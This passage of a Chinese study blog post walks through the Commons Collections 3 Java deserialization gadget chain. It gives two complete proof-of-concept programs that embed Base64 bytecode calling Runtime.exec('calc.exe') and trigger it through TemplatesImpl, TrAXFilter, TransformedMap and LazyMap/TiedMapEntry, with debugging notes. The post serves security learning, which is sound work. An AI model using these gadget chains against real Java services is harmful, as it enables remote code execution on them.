        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    }


    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

2.5 为何不弹计算器???

made,为啥,debug跟一跟看看。

在这里插入图片描述

熟悉的感觉,还是先从 AnnotationInvocationHandler#readObject()入手看:

在这里插入图片描述

哪里出问题了。我没有像之前一样进入下面的debug里面。

。。。对照着P神的源码发现了。。。。

https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections3.java

        Map innerMap = new HashMap();
        innerMap.put("value","xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//        outerMap.put("test", "xxxx");

az,,它竟然偷偷换成了 innerMap。。。我还回去看了。之前用的都是 outerMap.put。。

我吐了呀,,,,也不知道为什么啊,,,

2.6 弹计算器的Good-POC

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc3test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
        setFieldVaule(templates, "_name", "adam");
        setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());


        // fake的
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };

//        Transformer transformerChain = new ChainedTransformer(transformers);
        //先使用fake
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        innerMap.put("value","xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//        outerMap.put("test", "xxxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        //换为真的
        setFieldVaule(transformerChain,"iTransformers",transformers);


        byte[] bytes1 = serialize(handler);
        System.out.println(new String(bytes1));
        unserialize(bytes1);

    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    }


    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

好,再跟着 debug 一遍看看。

和CC1-上分析Anno那个几乎一样了。这里直接找到这里了。

进入 var5 ,也就是 MapEntrysetValue

在这里插入图片描述

进入TransformedMapchechSetValue()
在这里插入图片描述

而后进入ChainedTransformertransform(),然后后面就是这么一系列的了
在这里插入图片描述

唯独不同的是这里,不是Invoktransform 了,变成这个InstantiateTransformer
在这里插入图片描述

InstantiateTransformertransform() 直接调用TrAXFilter 的构造器,然后 newInstance(),并且传入的参数
在这里插入图片描述

参数iArgs正好是我们构造的 恶意字节码
在这里插入图片描述

进到TrAXFilter 的构造函数,有了
在这里插入图片描述

ojbk~

在这里插入图片描述

2.7 版本限制,还是8u71之前的。

我上面用的是 8u40

3. 关于去掉 _tfactory

摘自 feng师傅:

我们把这一行去掉也是能够执行的

        //setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

记得当时在利用 TemplatesImp动态加载字节码的时候说过,如果不设置值的话,调用newTransformer()后买你的调用链会出现异常,

因为在null上面调用了方法

随后我在Y4师傅的文章中看到了这么一句话:

扣个小细节_tfactory我个人觉得可以不用加上,但可能是大师傅觉得加上这个减少报错条件,现在太菜了还是猜不透加这个原因,毕竟与这个相关的调用也在我们弹出计算器之后了

feng师傅先是想一下 _tfactory是不是可序列化的,然后查看了父类和接口类,发现都不是

private transient TransformerFactoryImpl _tfactory = null;

然后发现是 transient,瞬态属性,本身就不进行序列化,而且在TemplatesImplreadObject()方法中

    private void  readObject(ObjectInputStream is)
      throws IOException, ClassNotFoundException
    {
        SecurityManager security = System.getSecurityManager();
        if (security != null){
            String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
            if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
                throw new UnsupportedOperationException(err.toString());
            }
        }

        // We have to read serialized fields first.
        ObjectInputStream.GetField gf = is.readFields();
        _name = (String)gf.get("_name", null);
        _bytecodes = (byte[][])gf.get("_bytecodes", null);
        _class = (Class[])gf.get("_class", null);
        _transletIndex = gf.get("_transletIndex", -1);

        _outputProperties = (Properties)gf.get("_outputProperties", null);
        _indentNumber = gf.get("_indentNumber", 0);

        if (is.readBoolean()) {
            _uriResolver = (URIResolver) is.readObject();
        }

        _tfactory = new TransformerFactoryImpl();
    }

最后一行给这个属性初始化了:_tfactory = new TransformerFactoryImpl();,因此也就是为什么后面的调用链不会抛出异常。

--------这种细节还是我所缺乏的,还是得慢慢学习。----------

feng师傅缺的话,,,那我是缺大发了。。。衰…

4.改进

4.1 改进的种类之说

哦哦好像分为这几种(前提是CC3加载恶意字节码:TrAXFilter的利用的时候j进行改进的):

  1. 使用TransformedMap,这个就是CC1-上的那个方法。适用范围是 8u71
  2. 使用 LazyMapAnnotationInvocationHandler + 动态代理,这个是CC1-下的那个方法。适用范围也是 8u71之前
  3. 使用LazyMapTriedMapEntry,这个就是CC6的那个方法。适用方法是 JDK全版本7 8 ,PS:全版本的意思是7和8嘛,,不是很明白,,

4.2 利用CC6进行改进

改进的,,明天看把,,溜了 0:26。

改进的话,是利用AnnotationInvocationHandler的动态代理的方法,走它的invoke()。刚又花了半个小时看CC1的动态代理,,我总是之前学的不扎实,,然后每次回看总能看到新的一些东西,,,只能说明我第一次学习的时候太混,没学透。/(ㄒoㄒ)/~~

不对,,,CC1是动态代理。CC6才是版本的提升,容我再回去看看CC6去。。。

made,最厉害的无版本限制的竟然没有用到 AnnotationInvocationHandler动态代理???奇奇怪怪真的是

那么提升的话,就要换 LazyMap楼。用的是 TriedMapEntry

我就直接把上面的TransformedMap直接换成了LazyMapTriedMapEntry

package aa;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class cc3test {
    public static void main(String[] args) throws Exception {
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");

        TemplatesImpl templates = new TemplatesImpl();
        setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
        setFieldVaule(templates, "_name", "adam");
//        setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());


        // fake的
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };

//        Transformer transformerChain = new ChainedTransformer(transformers);
        //先使用fake
        Transformer transformerChain = new ChainedTransformer(faketransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
        Map map = new HashMap();
        map.put(tme,"value");

        outerMap.remove("adamkey");
        //换为真的
        setFieldVaule(transformerChain,"iTransformers",transformers);


        byte[] bytes1 = serialize(map);
        System.out.println(new String(bytes1));
        unserialize(bytes1);

    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    }


    private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

在这里插入图片描述

5. 参考

P神的源码:https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections3.java

P神“《Java安全漫谈14》

Y4师傅:https://y4tacker.blog.csdn.net/article/details/119084222

feng师傅:https://ego00.blog.csdn.net/article/details/119780324

标签:java,--,import,commons,CC3,org,apache,new
来源: https://blog.csdn.net/Zero_Adam/article/details/122055434

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有